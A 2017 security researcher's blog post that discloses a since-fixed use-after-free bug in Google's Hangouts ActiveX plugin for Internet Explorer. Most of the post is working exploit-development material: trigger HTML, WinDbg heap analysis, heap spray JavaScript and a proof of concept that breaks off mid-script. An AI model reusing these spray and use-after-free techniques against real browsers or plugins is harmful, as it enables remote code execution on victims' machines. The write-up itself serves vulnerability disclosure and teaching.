zondag 5 februari 2017

Use After Free in Google Hangouts ActiveX

Summary

In 2015 I found a use-after free vulnerability in the "Google Talk ActiveX Plugin" that is used by Google Hangouts.
The activeX is sitelocked, meaning it can only be invoked from certain whitelisted Google domains. To exploit this, an attacker would need an XSS bug on one of these domains.
The bug was reported to Google and has since been fixed. 

ActiveX Details

When installing Google Hangouts on IE, the control "Google Talk ActiveX Plugin" is installed. This control can be invoked from the browser and exports 5 methods.

dispinterface GTalkPluginInterface {
    properties:
    methods:
        [id(0x60020000)]
        void send([in] BSTR str);
        [id(0x60020001), propput]
        void onmessage([in] VARIANT* rhs);
        [id(0x60020002), propget]
        BSTR version();
        [id(0x60020003), propget]
        BSTR wsconnectinfo();
        [id(0x60020004)]
        void wsconnectfailed([in] int port);
};

The control does not implement the IObjectSafetySiteLock interface to lock the ActiveX to certain domains.
 C:\Program Files (x86)\Microsoft\SiteLock 1.15>sitelist.exe {39125640-8D80-11DC-A2FE-C5C455D89593}  
 SiteList: Utility to dump domain list from a site-locked ActiveX control.  
 [1ff8] No bp log location saved, using default.  
 [000:000] [1ff8] Cpu: 6.58.9, x4, 2890Mhz, 8065MB  
 [000:000] [1ff8] Computer model: Not available  
 IObjectSafetySiteLock not implemented.  

However, testing shows that the ActiveX is restricted to Google domains. Since it does not use the IObjectSafetySiteLock, I checked if it is registered as a Browser Helper Object in Internet Explorer. That way it can receive navigation events. From debugging and reversing the application I noted that the ActiveX is registered as a Browser Helper Object. It exposes the IObjectWithSite interface which creates a connection point with Internet Explorer. Via this, the ActiveX can get the information of the current URL that is used.

Via the following C++ code, we create an instance of the object and create a breakpoint before the call to IObjectWithSite->SetSite()
 #include "stdafx.h"  
 #include "windows.h"  
 #include "OCIdl.h"  
 int _tmain(int argc, _TCHAR* argv[])  
 {  
      CoInitialize(NULL);   
      IUnknown *punk;  
      LPGUID pclsid;  
      HRESULT hr = NULL;  
      //{39125640-8D80-11DC-A2FE-C5 C4 55 D8 95 93}  
      static const GUID CLSID_GTALK = { 0x39125640, 0x8D80, 0x11DC, { 0xa2, 0xfe, 0xc5, 0xc4, 0x55, 0xd8, 0x95, 0x93 } };  
      if (FAILED(hr))  
     printf("error");  
      hr = CoCreateInstance(CLSID_GTALK, NULL, CLSCTX_SERVER,   
               IID_IUnknown, (void **)&punk);  
   if (FAILED(hr))  
     printf("error");  
    // Ask the ActiveX object for the IDispatch interface.  
      IObjectWithSite *pOSite;  
        hr = punk->QueryInterface(IID_IObjectWithSite, (void **)&pOSite);  
   if (FAILED(hr))  
     printf("error");  
      __asm  
      {  
           int 3;  
      }  
      //pOSite->GetSite( CLSID_GTALK, NULL);  
      pOSite->SetSite(NULL);  
      return 0;  
 }  
We can then use a debugger to step into the function and get its address. We then breakpoint this address in Internet Explorer and use HTML code to load and invoke the control.

The control implements SetSite which is called by IE which passes in an object. The code below is part of the implemenation. The URL is here passed in the ECX parameter.
 0:007> u 5ca85c51  
 googletalkax+0x5c51:  
 5ca85c51 51       push  ecx  
 5ca85c52 50       push  eax  
 5ca85c53 e8d88f0000   call  googletalkax!DllUnregisterServer+0x39e0 (5ca8ec30)  
 5ca85c58 8bd8      mov   ebx,eax  
 5ca85c5a 83c408     add   esp,8  
 5ca85c5d 85db      test  ebx,ebx  
 5ca85c5f 7465      je   googletalkax+0x5cc6 (5ca85cc6)  
 5ca85c61 8b4e40     mov   ecx,dword ptr [esi+40h]  
 0:007> da poi(ecx)  
 1123efc0 "http://localhost:9000/testgoogle"  
 1123efe0 "talkactivexplugin.html"  

Stepping deeper through the function allows us to find the code that compares the current domain to whitelisted domains.

 .text:5CA8CA20         cmp   [ebp+var_8], 10h  
 .text:5CA8CA24         lea   eax, [ebp+var_1C] ; holds the current domain name   
 .text:5CA8CA27         push  dword ptr [esi] ; holds whitelisted domain  
 .text:5CA8CA29         cmovnb eax, [ebp+var_1C]  
 .text:5CA8CA2D         push  eax  
 .text:5CA8CA2E         call  sub_5CA957C0  
 .text:5CA8CA33         add   esp, 8  
 .text:5CA8CA36         test  al, al  
 .text:5CA8CA38         jnz   loc_5CA8CB37  
 .text:5CA8CA3E         add   esi, 4  
 .text:5CA8CA41         cmp   esi, offset aHostedtalkgadg ; "*hostedtalkgadget.google.com"  
 .text:5CA8CA47         jl   short loc_5CA8CA20  

We can use a breakpoint in the debugger to show all whitelisted domains.
 0:005> bl  
  0 e 5ca8ca2e   0001 (0001) 0:**** googletalkax!DllUnregisterServer+0x17de "da poi(esp+4);g"  
 0:005> g  
 5cace2c4 "*hostedtalkgadget.google.com"  
 5cace2e4 "*mail.google.com"  
 5cace2f8 "*plus.google.com"  
 5cace30c "*plus.sandbox.google.com"  
 5cace328 "*talk.google.com"  
 5cace33c "*talkgadget.google.com"  

The following is another code path in the function that does not get hit. This code needs the ”plugin_enable_corp_host” flag to be set in the control. This is presumably for internal use by Google. Then additional checks are performed against other hosts.
 .text:5CA8CA9F         push  offset a_corp_google_c ; "*.corp.google.com"  
 .text:5CA8CAA4         cmovnb eax, [ebp+var_1C]  
 .text:5CA8CAA8         push  eax  
 .text:5CA8CAA9         call  sub_5CA957C0  
 .text:5CA8CAAE         add   esp, 8  
 .text:5CA8CAB1         test  al, al  
 .text:5CA8CAB3         jnz   short loc_5CA8CB0C  
 .text:5CA8CAB5         cmp   [ebp+var_8], 10h  
 .text:5CA8CAB9         lea   eax, [ebp+var_1C]  
 .text:5CA8CABC         push  offset a_prod_google_c ; "*.prod.google.com"  
 .text:5CA8CAC1         cmovnb eax, [ebp+var_1C]  
 .text:5CA8CAC5         push  eax  
 .text:5CA8CAC6         call  sub_5CA957C0  
 .text:5CA8CACB         add   esp, 8  
 .text:5CA8CACE         test  al, al  
 .text:5CA8CAD0         jnz   short loc_5CA8CB0C  
 .text:5CA8CAD2         cmp   [ebp+var_8], 10h  
 .text:5CA8CAD6         lea   eax, [ebp+var_1C]  
 .text:5CA8CAD9         push  offset a_googlegoro_co ; "*.googlegoro.com"  
 .text:5CA8CADE         cmovnb eax, [ebp+var_1C]  
 .text:5CA8CAE2         push  eax  
 .text:5CA8CAE3         call  sub_5CA957C0  
 .text:5CA8CAE8         add   esp, 8  
 .text:5CA8CAEB         test  al, al  
 .text:5CA8CAED         jnz   short loc_5CA8CB0C  
 .text:5CA8CAEF         cmp   [ebp+var_8], 10h  
 .text:5CA8CAF3         lea   eax, [ebp+var_1C]  
 .text:5CA8CAF6         push  offset a_googleplex_co ; "*.googleplex.com"  
 .text:5CA8CAFB         cmovnb eax, [ebp+var_1C]  
 .text:5CA8CAFF         push  eax  
 .text:5CA8CB00         call  sub_5CA957C0  
corp.google.com and googleplex.com return a login prompt and appear to be used by only Google employees.
prod.google.com is a non existing domain, presumably an internal domain.

How to trigger the bug

The "onmessage" function takes in a VARIANT that expects a JavaScript callback function that is immediately called by the control. This can be tested via the following code. 
 <html>  
 <object  
   classid="clsid:39125640-8D80-11DC-A2FE-C5C455D89593" id=sdr  
 >  
 </object>  
 <script>  
 sdr.onmessage = sdrcallback;  
 function sdrcallback(){  
      alert("callback function is called");  
 }  
 </script>  
 </html>  

Callback functions in ActiveX controls can be vulnerable to use-after-free conditions. This happens if the control does not call AddRef() before calling the callback function. The callback function then has a reference to the control which is unaccounted for.

I tested this scenario by creating a callback function that would delete the control.
 <html>  
 <div id="seandiv">  
 <object  
   classid="clsid:39125640-8D80-11DC-A2FE-C5C455D89593" id=sdr  
 >  
 </object>  
 </div>  
 <script>  
 sdr.onmessage = sdrcallback;  
 function sdrcallback(){  
      alert("callback function is called");  
      //delete div  
      this.document.getElementById("seandiv").innerHTML = "";  
      CollectGarbage();  
      CollectGarbage();  
      CollectGarbage();  
 }  
 </script>  
 <body>  
 sdr  
 </body>  
 bp OLEAUT32!DispCallFunc "u poi(poi(poi(esp+4))+(poi(esp+8))) L1;gc"  
 </html>  

I got the following crash in the debugger.

 (13b4.24a8): Access violation - code c0000005 (first chance)  
 First chance exceptions are reported before any exception handling.  
 This exception may be expected and handled.  
 *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Users\Sean\AppData\Local\Google\Google Talk Plugin\googletalkax.dll -   
 eax=00000001 ebx=00000001 ecx=0aabe8b7 edx=00161078 esi=00000000 edi=407a2fb0  
 eip=13e70ca5 esp=0a13c1b8 ebp=0a13c2cc iopl=0     nv up ei pl zr na pe nc  
 cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b       efl=00210246  
 googletalkax!DllUnregisterServer+0x6385:  
 13e70ca5 8b471c     mov   eax,dword ptr [edi+1Ch] ds:002b:407a2fcc=????????  

The EDI register points to invalid memory.
 0:008> r  
 eax=00000001 ebx=00000001 ecx=0aabe8b7 edx=00161078 esi=00000000 edi=407a2fb0  
 eip=13e70ca5 esp=0a13c1b8 ebp=0a13c2cc iopl=0     nv up ei pl zr na pe nc  
 cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b       efl=00210246  
 googletalkax!DllUnregisterServer+0x6385:  
 13e70ca5 8b471c     mov   eax,dword ptr [edi+1Ch] ds:002b:407a2fcc=????????  
 0:008> dd edi  
 407a2fb0 ???????? ???????? ???????? ????????  
 407a2fc0 ???????? ???????? ???????? ????????  
 407a2fd0 ???????? ???????? ???????? ????????  
 407a2fe0 ???????? ???????? ???????? ????????  
 407a2ff0 ???????? ???????? ???????? ????????  
 407a3000 ???????? ???????? ???????? ????????  
 407a3010 ???????? ???????? ???????? ????????  
 407a3020 ???????? ???????? ???????? ????????  
  
Further analysis shows that it points to freed memory.

 0:008> !heap -p -a edi  
   address 407a2fb0 found in  
   _DPH_HEAP_ROOT @ 161000  
   in free-ed allocation ( DPH_HEAP_BLOCK:     VirtAddr     VirtSize)  
                   40751ccc:     407a2000       2000  
   51f990b2 verifier!AVrfDebugPageHeapFree+0x000000c2  
   77691564 ntdll!RtlDebugFreeHeap+0x0000002f  
   7764ac29 ntdll!RtlpFreeHeap+0x0000005d  
   775f34a2 ntdll!RtlFreeHeap+0x00000142  
   75f514ad kernel32!HeapFree+0x00000014  
   13e88310 googletalkax!DllUnregisterServer+0x0001d9f0  
   13e6e407 googletalkax!DllUnregisterServer+0x00003ae7  
   13e6218a googletalkax+0x0000218a  
   13e6572f googletalkax+0x0000572f  
   61d0fe01 +0x0000001d  
   61d24fd6 MSHTML!CBase::PrivateRelease+0x000000bc  
   61d0d8ee MSHTML!CTxtSite::Release+0x0000001a  
   61d0d986 MSHTML!CBase::ReleaseInternalRef+0x0000001f  
   5e6586d3 jscript9!Js::CustomExternalObject::Dispose+0x00000023  
   5e65869c jscript9!SmallFinalizableHeapBlock::DisposeObjects+0x00000134  
   5e659880 jscript9!HeapInfo::DisposeObjects+0x000000b0  
   5e659750 jscript9!Recycler::DisposeObjects+0x0000004a  
   5e6596fe jscript9!Recycler::FinishDisposeObjects+0x0000001a  
   5e74f64c jscript9!Recycler::CollectOnConcurrentThread+0x00000087  
   5e655f36 jscript9!DefaultRecyclerCollectionWrapper::ExecuteRecyclerCollectionFunction+0x00000026  
   5e655eeb jscript9!ThreadContext::ExecuteRecyclerCollectionFunctionCommon+0x0000003b  
   5e655e6d jscript9!ThreadContext::ExecuteRecyclerCollectionFunction+0x000000ad  
   5e656a46 jscript9!Recycler::DoCollectWrapped+0x00000079  
   5e7fc8dc jscript9!Recycler::Collect<-1073475584>+0x0000004b  
   5e64c06d jscript9!Js::InterpreterStackFrame::Process+0x00001940  
   5e64c7ab jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x000001ce  

Testing Exploitability


The next step was to check the exploitability of the bug. We need to replace the freed memory with our own allocation and see how the data is processed so that it can lead to code execution.
When we look at the following code, we can see that there is a path that leads to code execution. The freed memory pointed to by edi+1ch is put into the EAX registry. This memory is then referenced and the first 4 bytes are put into the ESI registry. Then there are some other operations and a function call after which a call is made to ESI+4.

 13e70ca5 8b471c     mov   eax,dword ptr [edi+1Ch]  
 13e70ca8 8b30      mov   esi,dword ptr [eax] ds:002b:00000000=????????  
 13e70caa 8d850cffffff  lea   eax,[ebp-0F4h]  
 13e70cb0 50       push  eax  
 13e70cb1 8d45e4     lea   eax,[ebp-1Ch]  
 13e70cb4 50       push  eax  
 13e70cb5 e8768e0000   call  googletalkax!DllUnregisterServer+0xf210 (13e79b30)  
 13e70cba 8b4f1c     mov   ecx,dword ptr [edi+1Ch]  
 13e70cbd 83c408     add   esp,8  
 13e70cc0 50       push  eax  
 13e70cc1 ff5604     call  dword ptr [esi+4]  

We need to make sure that the function call does not change the value of the ESI register to ensure that we have a path to code execution. The following windbg session shows how I allocated new memory to replace the freed memory and stepped through this code to ensure that this path leads to code execution.
 (11cc.2728): Access violation - code c0000005 (first chance)  
 First chance exceptions are reported before any exception handling.  
 This exception may be expected and handled.  
 *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Users\Sean\AppData\Local\Google\Google Talk Plugin\googletalkax.dll -   
 eax=00000001 ebx=00000001 ecx=ef97dd9c edx=02c51078 esi=00000000 edi=111e2fb0  
 eip=59d80ca5 esp=09d7c4f0 ebp=09d7c604 iopl=0     nv up ei pl zr na pe nc  
 cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b       efl=00010246  
 googletalkax!DllUnregisterServer+0x6385:  
 59d80ca5 8b471c     mov   eax,dword ptr [edi+1Ch] ds:002b:111e2fcc=????????  
 0:008> .dvalloc 2000h  
 Allocated 2000 bytes starting at 0c690000  
 0:008> r @edi = 0c690000  
 0:008> dd edi+1c  
 0c69001c 00000000 00000000 00000000 00000000  
 0c69002c 00000000 00000000 00000000 00000000  
 0c69003c 00000000 00000000 00000000 00000000  
 0c69004c 00000000 00000000 00000000 00000000  
 0c69005c 00000000 00000000 00000000 00000000  
 0c69006c 00000000 00000000 00000000 00000000  
 0c69007c 00000000 00000000 00000000 00000000  
 0c69008c 00000000 00000000 00000000 00000000  
 0:008> p  
 eax=00000000 ebx=00000001 ecx=ef97dd9c edx=02c51078 esi=00000000 edi=0c690000  
 eip=59d80ca8 esp=09d7c4f0 ebp=09d7c604 iopl=0     nv up ei pl zr na pe nc  
 cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b       efl=00000246  
 googletalkax!DllUnregisterServer+0x6388:  
 59d80ca8 8b30      mov   esi,dword ptr [eax] ds:002b:00000000=????????  
 0:008> .dvalloc 200  
 Allocated 1000 bytes starting at 0cbd0000  
 0:008> r @eax = 0cbd0000  
 0:008> dd eax  
 0cbd0000 00000000 00000000 00000000 00000000  
 0cbd0010 00000000 00000000 00000000 00000000  
 0cbd0020 00000000 00000000 00000000 00000000  
 0cbd0030 00000000 00000000 00000000 00000000  
 0cbd0040 00000000 00000000 00000000 00000000  
 0cbd0050 00000000 00000000 00000000 00000000  
 0cbd0060 00000000 00000000 00000000 00000000  
 0cbd0070 00000000 00000000 00000000 00000000  
 0:008> p  
 eax=0cbd0000 ebx=00000001 ecx=ef97dd9c edx=02c51078 esi=00000000 edi=0c690000  
 eip=59d80caa esp=09d7c4f0 ebp=09d7c604 iopl=0     nv up ei pl zr na pe nc  
 cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b       efl=00000246  
 googletalkax!DllUnregisterServer+0x638a:  
 59d80caa 8d850cffffff  lea   eax,[ebp-0F4h]  
 0:008> p  
 eax=09d7c510 ebx=00000001 ecx=ef97dd9c edx=02c51078 esi=00000000 edi=0c690000  
 eip=59d80cb0 esp=09d7c4f0 ebp=09d7c604 iopl=0     nv up ei pl zr na pe nc  
 cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b       efl=00000246  
 googletalkax!DllUnregisterServer+0x6390:  
 59d80cb0 50       push  eax  
 0:008> p  
 eax=09d7c510 ebx=00000001 ecx=ef97dd9c edx=02c51078 esi=00000000 edi=0c690000  
 eip=59d80cb1 esp=09d7c4ec ebp=09d7c604 iopl=0     nv up ei pl zr na pe nc  
 cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b       efl=00000246  
 googletalkax!DllUnregisterServer+0x6391:  
 59d80cb1 8d45e4     lea   eax,[ebp-1Ch]  
 0:008> p  
 eax=09d7c5e8 ebx=00000001 ecx=ef97dd9c edx=02c51078 esi=00000000 edi=0c690000  
 eip=59d80cb4 esp=09d7c4ec ebp=09d7c604 iopl=0     nv up ei pl zr na pe nc  
 cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b       efl=00000246  
 googletalkax!DllUnregisterServer+0x6394:  
 59d80cb4 50       push  eax  
 0:008> p  
 eax=09d7c5e8 ebx=00000001 ecx=ef97dd9c edx=02c51078 esi=00000000 edi=0c690000  
 eip=59d80cb5 esp=09d7c4e8 ebp=09d7c604 iopl=0     nv up ei pl zr na pe nc  
 cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b       efl=00000246  
 googletalkax!DllUnregisterServer+0x6395:  
 59d80cb5 e8768e0000   call  googletalkax!DllUnregisterServer+0xf210 (59d89b30)  
 0:008> p  
 eax=09d7c5e8 ebx=00000001 ecx=ef97dd9c edx=02c51078 esi=00000000 edi=0c690000  
 eip=59d80cba esp=09d7c4e8 ebp=09d7c604 iopl=0     nv up ei pl zr na pe nc  
 cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b       efl=00000246  
 googletalkax!DllUnregisterServer+0x639a:  
 59d80cba 8b4f1c     mov   ecx,dword ptr [edi+1Ch] ds:002b:0c69001c=00000000  
 0:008> p  
 eax=09d7c5e8 ebx=00000001 ecx=00000000 edx=02c51078 esi=00000000 edi=0c690000  
 eip=59d80cbd esp=09d7c4e8 ebp=09d7c604 iopl=0     nv up ei pl zr na pe nc  
 cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b       efl=00000246  
 googletalkax!DllUnregisterServer+0x639d:  
 59d80cbd 83c408     add   esp,8  
 0:008> p  
 eax=09d7c5e8 ebx=00000001 ecx=00000000 edx=02c51078 esi=00000000 edi=0c690000  
 eip=59d80cc0 esp=09d7c4f0 ebp=09d7c604 iopl=0     nv up ei pl nz ac pe nc  
 cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b       efl=00000216  
 googletalkax!DllUnregisterServer+0x63a0:  
 59d80cc0 50       push  eax  
 0:008> p  
 eax=09d7c5e8 ebx=00000001 ecx=00000000 edx=02c51078 esi=00000000 edi=0c690000  
 eip=59d80cc1 esp=09d7c4ec ebp=09d7c604 iopl=0     nv up ei pl nz ac pe nc  
 cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b       efl=00000216  
 googletalkax!DllUnregisterServer+0x63a1:  
 59d80cc1 ff5604     call  dword ptr [esi+4]  ds:002b:00000004=????????  
 0:008> p  
 (11cc.2728): Access violation - code c0000005 (first chance)  
 First chance exceptions are reported before any exception handling.  
 This exception may be expected and handled.  
  
This shows that we can turn this into code execution if we can replace the freed memory with our own allocation. 

Heap Allocation Analysis


In Gflags.exe we enable “Create User Mode Stack Trace Database”.
We need to be able to allocate the same chunk size of memory on the same heap in order to turn this into an exploitable condition. First we determine what heap this freed memory was allocated on.

I created the following HTML to spray some controlled data on the default heap by IE.
 <html>  
 <div id="seandiv">  
 <object  
   classid="clsid:39125640-8D80-11DC-A2FE-C5C455D89593" id=sdr  
 >  
 </object>  
 </div>  
 <script>  
 function sdrcallback(){  
      alert("callback function is called");  
      //delete div  
      this.document.getElementById("seandiv").innerHTML = "";  
      CollectGarbage();  
      CollectGarbage();  
      CollectGarbage();  
      alert(sdr);  
 }  
 //javapscript heap spray to see if we are on same heap as activeX  
 var seanstring = "seansea"+"n7aaaaaaaaa"+"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";  
 //s -u 0x00000000 L?0xffffffff seansean7  
 sdr.onmessage = sdrcallback;  
 </script>  
 <body></html>  

I used windbg to see what heap it is allocated on.

 (1348.18dc): Access violation - code c0000005 (first chance)  
 First chance exceptions are reported before any exception handling.  
 This exception may be expected and handled.  
 *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Users\Sean\AppData\Local\Google\Google Talk Plugin\googletalkax.dll -   
 eax=00000001 ebx=00000001 ecx=d215f8bc edx=00461078 esi=00000000 edi=3dc19fb0  
 eip=14d10ca5 esp=09b3bf10 ebp=09b3c024 iopl=0     nv up ei pl zr na pe nc  
 cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b       efl=00210246  
 googletalkax!DllUnregisterServer+0x6385:  
 14d10ca5 8b471c     mov   eax,dword ptr [edi+1Ch] ds:002b:3dc19fcc=????????  
 0:007> !heap -p -a edi  
   address 3dc19fb0 found in  
   _DPH_HEAP_ROOT @ 461000  
   in free-ed allocation ( DPH_HEAP_BLOCK:     VirtAddr     VirtSize)  
                   3dbe1ac4:     3dc19000       2000  
   5f8290b2 verifier!AVrfDebugPageHeapFree+0x000000c2  
   77691564 ntdll!RtlDebugFreeHeap+0x0000002f  
   7764ac29 ntdll!RtlpFreeHeap+0x0000005d  
   775f34a2 ntdll!RtlFreeHeap+0x00000142  
   75f514ad kernel32!HeapFree+0x00000014  
   14d28310 googletalkax!DllUnregisterServer+0x0001d9f0  
   14d0e407 googletalkax!DllUnregisterServer+0x00003ae7  
   14d0218a googletalkax+0x0000218a  
   14d0572f googletalkax+0x0000572f  
   61d0fe01 +0x0000001d  
   61d24fd6 MSHTML!CBase::PrivateRelease+0x000000bc  
   61d0d8ee MSHTML!CTxtSite::Release+0x0000001a  
   61d0d986 MSHTML!CBase::ReleaseInternalRef+0x0000001f  
   5e6586d3 jscript9!Js::CustomExternalObject::Dispose+0x00000023  
   5e65869c jscript9!SmallFinalizableHeapBlock::DisposeObjects+0x00000134  
   5e659880 jscript9!HeapInfo::DisposeObjects+0x000000b0  
   5e659750 jscript9!Recycler::DisposeObjects+0x0000004a  
   5e6596fe jscript9!Recycler::FinishDisposeObjects+0x0000001a  
   5e74f64c jscript9!Recycler::CollectOnConcurrentThread+0x00000087  
   5e655f36 jscript9!DefaultRecyclerCollectionWrapper::ExecuteRecyclerCollectionFunction+0x00000026  
   5e655eeb jscript9!ThreadContext::ExecuteRecyclerCollectionFunctionCommon+0x0000003b  
   5e655e6d jscript9!ThreadContext::ExecuteRecyclerCollectionFunction+0x000000ad  
   5e656a46 jscript9!Recycler::DoCollectWrapped+0x00000079  
   5e7fc8dc jscript9!Recycler::Collect<-1073475584>+0x0000004b  
   5e64c06d jscript9!Js::InterpreterStackFrame::Process+0x00001940  
   5e64c7ab jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x000001ce  
 0:007> s -u 0x00000000 L?0xffffffff seansean7  
 0eebafa6 0073 0065 0061 006e 0073 0065 0061 006e s.e.a.n.s.e.a.n.  
 29e66f96 0073 0065 0061 006e 0073 0065 0061 006e s.e.a.n.s.e.a.n.  
 4b6c6f02 0073 0065 0061 006e 0073 0065 0061 006e s.e.a.n.s.e.a.n.  
 79700c0a 0073 0065 0061 006e 0073 0065 0061 006e s.e.a.n.s.e.a.n.  
 0:007> !heap -p -a 0eebafa6  
   address 0eebafa6 found in  
   _DPH_HEAP_ROOT @ 461000  
   in busy allocation ( DPH_HEAP_BLOCK:     UserAddr     UserSize -     VirtAddr     VirtSize)  
                  eec0208:     eeba7f0       80c -     eeba000       2000  
   5f828e89 verifier!AVrfDebugPageHeapAllocate+0x00000229  
   77690d96 ntdll!RtlDebugAllocateHeap+0x00000030  
   7764af0d ntdll!RtlpAllocateHeap+0x000000c4  
   775f3cfe ntdll!RtlAllocateHeap+0x0000023a  
   61df38ff MSHTML!CHtmRootParseCtx::NailDownChain+0x000004ba  
   61de7c59 MSHTML!CHtmRootParseCtx::EndElement+0x00000119  
   61de7b27 MSHTML!CHtmRootParseCtxRouter::EndElement+0x00000017  
   61dee7b2 MSHTML!CHtml5TreeConstructor::PopElement+0x000000b7  
   61f896b5 MSHTML!CTextInsertionMode::DefaultEndElementHandler+0x00000035  
   620fc85b MSHTML!CInsertionMode::HandleEndElementToken+0x0000003d  
   61df17f5 MSHTML!CHtml5TreeConstructor::HandleElementTokenInInsertionMode+0x00000026  
   61df16c8 MSHTML!CHtml5TreeConstructor::PushElementToken+0x000000a5  
   61f891f8 MSHTML!CHtml5Tokenizer::EmitElementToken+0x00000067  
   61f8a243 MSHTML!CHtml5Tokenizer::RCDATAEndTagName_StateHandler+0x000003bf  
   61deeec5 MSHTML!CHtml5Tokenizer::ParseBuffer+0x0000012c  
   61def19b MSHTML!CHtml5Parse::ParseToken+0x00000131  
   61dee707 MSHTML!CHtmPost::ProcessTokens+0x000006af  
   61de7f32 MSHTML!CHtmPost::Exec+0x000001e4  
   620b9a78 MSHTML!CHtmPost::Run+0x0000003d  
   620b99de MSHTML!PostManExecute+0x00000061  
   620c1e04 MSHTML!PostManResume+0x0000007b  
   61e4d397 MSHTML!CDwnChan::OnMethodCall+0x0000003e  
   61d0e101 MSHTML!GlobalWndOnMethodCall+0x0000016d  
   61d0db16 MSHTML!GlobalWndProc+0x000002e5  
   751262fa user32!InternalCallWinProc+0x00000023  
   75126d3a user32!UserCallWinProcCheckWow+0x00000109  
   751277c4 user32!DispatchMessageWorker+0x000003bc  
   7512788a user32!DispatchMessageW+0x0000000f  
   6366f668 IEFRAME!CTabWindow::_TabWindowThreadProc+0x00000464  
   636a25b8 IEFRAME!LCIETab_ThreadProc+0x0000037b  
   7531d6fc iertutil!_IsoThreadProc_WrapperToReleaseScope+0x0000001c  
   5f893991 IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x00000094  
We now know that the activeX control uses the same Heap as JavaScript which is a good thing for exploitation.

Determining Allocation Size


Now that we have confirmed that the control uses the same heap as JavaScript, we need to determine the allocation size of the object that is freed.
To do this we need to disable all gflags settings, except for usermode stack dbs.
We also need to breakpoint the address that it crashes on.

Bu googletalkax!DllUnregisterServer+0x6385 "!heap -p -a edi;g"
 70760ca5 8b471c     mov   eax,dword ptr [edi+1Ch] ds:002b:078f8a44=a48a8f07  
 0:005> !heap -p -a edi  
   address 078f8a28 found in  
   _HEAP @ 730000  
    HEAP_ENTRY Size Prev Flags  UserPtr UserSize - state  
     078f8a10 000d 0000 [00]  078f8a28  00050 - (busy)  
      ? googletalkax!DllUnregisterServer+43db0  

From this we can see that the freed object is 0x50 bytes in size.  

Heap Spraying


The next step is to use a heap spray to claim the freed memory before the interaction with the object occurs. For this we need to prime the low fragment heap first in Internet explorer. We do a spray to allocate a lot of chunks of the same size.

We do this via the following JavaScript function. This creates a substring of 0x50 bytes minus the 4 byte header that is used for BSTR objects, minus the 2 terminating NULL bytes for the unicode string. This value is then devided by 2 since it is stored as a Unicode string. As s result, the string will hold exactly 0x50 bytes in memory.

 var largechunk = unescape("sean3");  
 var spray = new Array();  
 function dospray()  
 {  
      while (largechunk.length < 0x10000) largechunk += largechunk;  
      for (var i = 0; i < 0x200; i++)  
      {  
           spray[i] = largechunk.substring(0,(0x50-6)/2);  
      }  
 }  

When this is done we can use Corelan's DEPS spray technique to implement a precision spray. (https://www.corelan.be/index.php/2013/02/19/deps-precise-heap-spray-on-firefox-and-ie10/ ).

This will spray the heap and make the memory at 0x20302228 hold our data.  

 function corelan_deps_spray()  
 {  
      var div_container = document.getElementById("corelanspraydiv");  
      div_container.style.cssText = "display:none";  
      junk = unescape("%u615d%u6161");  
      while (junk.length < 0x80000) junk += junk;  
      for (var i = 0; i < 0x500; i++)  
      {  
           var obj = document.createElement("button");  
           obj.title = junk;  
           div_container.appendChild(obj);  
      }  
 }  

Proof of Concept

With all this information, we can create the following proof of concept code that will execute at the address of our choice. 
 <html>  
 <div id="seandiv">  
 <object  
   classid="clsid:39125640-8D80-11DC-A2FE-C5C455D89593" id=sdr  
 >  
 </object>  
 </div>  
 <div id="corelanspraydiv"></div>  
 <script>  
 var largechunk = unescape("%u2030%u2228");  
 var spray = new Array();  
 function dospray()  
 {  
      while (largechunk.length < 0x10000) largechunk += largechunk;  
      for (var i = 0; i < 0x200; i++)  
      {  
           spray[i] = largechunk.substring(0,(0x50-6)/2);  
      }  
 }  
 function corelan_deps_spray()  
 {  
      var div_container = document.getElementById("corelanspraydiv");  
      div_container.style.cssText = "display:none";  
      junk = unescape("%u615d%u6161");  
      while (junk.length < 0x80000) junk += junk;  
      for (var i = 0; i < 0x500; i++)  
      {  
           var obj = document.createElement("button");  
           obj.title = junk;  
           div_container.appendChild(obj);  
      }  
 }  
 function sdrcallback(){  
      //alert("callback function is called!"); //use this to attach debugger and bu googletalkax!DllUnregisterServer+0x6385   
      this.document.getElementById("seandiv").innerHTML = "";  
      CollectGarbage();  
      CollectGarbage();  
      CollectGarbage();  
      //spray the heap with 0x50 size objects, this will overwrite the freed chunk  
